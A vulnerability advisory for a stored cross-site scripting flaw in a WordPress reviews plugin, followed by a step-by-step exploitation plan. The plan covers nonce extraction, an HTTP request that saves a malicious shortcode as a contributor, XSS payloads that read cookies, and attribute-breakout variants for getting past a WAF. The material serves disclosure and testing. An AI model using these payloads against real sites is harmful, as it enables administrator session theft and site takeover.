Reviews Widgets for Google, Yelp & TripAdvisor <= 2.7.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'page_id' Shortcode Attribute
Description
The Reviews Widgets for Google, Yelp & TripAdvisor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'page_id' shortcode attribute of the [fbrev] shortcode in versions up to and including 2.7.3. This is due to insufficient input sanitization and output escaping in the Feed_Shortcode::fbrev() method, which passes the raw shortcode attribute through Feed_Old::get_feed() into the View::render() method, where it is echoed directly into the data-id HTML attribute without esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.7.3What Changed in the Fix
Changes introduced in v2.8
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-12154 ## 1. Vulnerability Summary The **Reviews Widgets for Google, Yelp & TripAdvisor** plugin (version <= 2.7.3) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape the `page_id` att…
Show full research plan
Exploitation Research Plan: CVE-2026-12154
1. Vulnerability Summary
The Reviews Widgets for Google, Yelp & TripAdvisor plugin (version <= 2.7.3) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the page_id attribute of the [fbrev] shortcode. This attribute is passed through the Feed_Shortcode::fbrev() method to View::render(), where it is echoed directly into a data-id HTML attribute. An authenticated attacker with Contributor-level permissions or higher can inject a malicious payload into a post or page via the shortcode, which will execute JavaScript in the context of any user (including Administrators) who views the page.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (
/wp-admin/post-new.phpor/wp-admin/post.php) - Vulnerable Component: Shortcode
[fbrev] - Vulnerable Attribute:
page_id - Authentication: Authenticated (Contributor+)
- Preconditions: The plugin must be active. The attacker must have the capability to create or edit posts (which Contributors can do, though their posts usually require Admin approval to publish; however, the XSS will trigger for the Admin during the review process).
3. Code Flow
- Entry Point: A user with Contributor+ roles saves a post containing:
[fbrev page_id="PAYLOAD"]. - Shortcode Handling: WordPress triggers the callback for
[fbrev], which isWP_TrustReviews\Includes\Feed_Shortcode::fbrev($atts). (Registered inincludes/class-plugin.php). - Data Processing:
Feed_Shortcode::fbrev()extracts thepage_idfrom the$attsarray.- It calls
WP_TrustReviews\Includes\Feed_Old::get_feed($page_id)(inferred) to retrieve data. - The raw
$page_idis then passed to therendermethod of theViewclass.
- The Sink: Inside
WP_TrustReviews\Includes\View::render(), the code generates HTML similar to:
Because// Simplified representation of the sink in View::render echo '<div class="trust-reviews-container" data-id="' . $page_id . '">';$page_idis not wrapped inesc_attr(), the attacker can break out of thedata-idattribute.
4. Nonce Acquisition Strategy
To exploit this as a Contributor, we must be able to save a post. Saving a post in WordPress requires a _wpnonce.
- Navigate to Post Creation: Use
browser_navigateto go tohttp://localhost:8080/wp-admin/post-new.php. - Extract Nonce: The nonce required for the
post.phporadmin-ajax.php(autosave) actions is typically found in the global JavaScript objectwp.apiFetchorwpApiSettings, or as a hidden input field. - JavaScript Extraction:
// To get the nonce for saving a post via the REST API (Block Editor) browser_eval("wpApiSettings.nonce") // OR to get the nonce from the classic form if available browser_eval("document.querySelector('#_wpnonce')?.value") - Note on Shortcode Rendering: The XSS itself does not require a nonce to trigger; the nonce is only needed for the initial injection (saving the post).
5. Exploitation Strategy
The goal is to inject a payload that breaks out of the data-id attribute.
Step-by-Step Plan:
- Login: Log in as a Contributor user using
http_request. - Get Post Creation Nonce: Navigate to
post-new.phpand extract the_wpnonce. - Inject Payload: Create a new post with the malicious shortcode.
- Shortcode:
[fbrev page_id='x" onmouseover="alert(document.domain)" style="display:block;width:100px;height:100px;background:red;" x="'] - Note: Using
onmouseoverwith a large visible box is more reliable in some test environments thanonloadfor<div>tags. Alternatively, use"><script>alert(1)</script>.
- Shortcode:
- Save Post: Send a
POSTrequest to/wp-admin/post.phpto save the post as a draft (Contributors can save drafts). - Trigger XSS: Log in as an Administrator and view the Contributor's draft in the editor or the "Preview" page.
Example HTTP Request (Save Draft):
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
_wpnonce=[EXTRACTED_NONCE]& action=editpost& post_ID=[POST_ID]& post_title=Vulnerability+Test& content=[fbrev page_id='x"><script>alert(document.cookie)</script>']& post_status=draft
6. Test Data Setup
- User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Plugin Configuration: Ensure the plugin "Reviews Widgets for Google, Yelp & TripAdvisor" is active.
wp plugin activate fb-reviews-widget
7. Expected Results
When the Administrator views the page containing the shortcode:
- The HTML source will look like:
<div ... data-id="x"><script>alert(document.cookie)</script>"> ... </div> - The browser will execute the script, displaying an alert box with the Administrator's cookies.
8. Verification Steps
After the http_request to save the post, use WP-CLI to verify the content was saved correctly:
wp post list --post_type=post --post_status=draft
# Get the ID of the latest post
wp post get [ID] --field=post_content
Check that the output contains the raw, unescaped payload: [fbrev page_id='x"><script>alert(document.cookie)</script>'].
9. Alternative Approaches
- Autosave Endpoint: If
post.phpis restricted, use thewp-admin/admin-ajax.php?action=autosaveendpoint, which also processes post content. - Block Injection: Since version 2.7.3 also includes a block (see
block.jsonandbuild/index.js), you could attempt to inject the payload via the block's attributes in the REST API:- Endpoint:
POST /wp-json/wp/v2/posts/[ID] - Body:
{"content": "<!-- wp:fb-reviews-widget/reviews {\"id\":\"x\\\" onmouseover=\\\"alert(1)\\\"\"} /-->"}
- Endpoint:
- Attribute Breakout: If
"><script>is blocked by a WAF, try:page_id='x" onfocus="alert(1)" autofocus="true'page_id='x" style="animation-name:x" onanimationstart="alert(1)"'
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.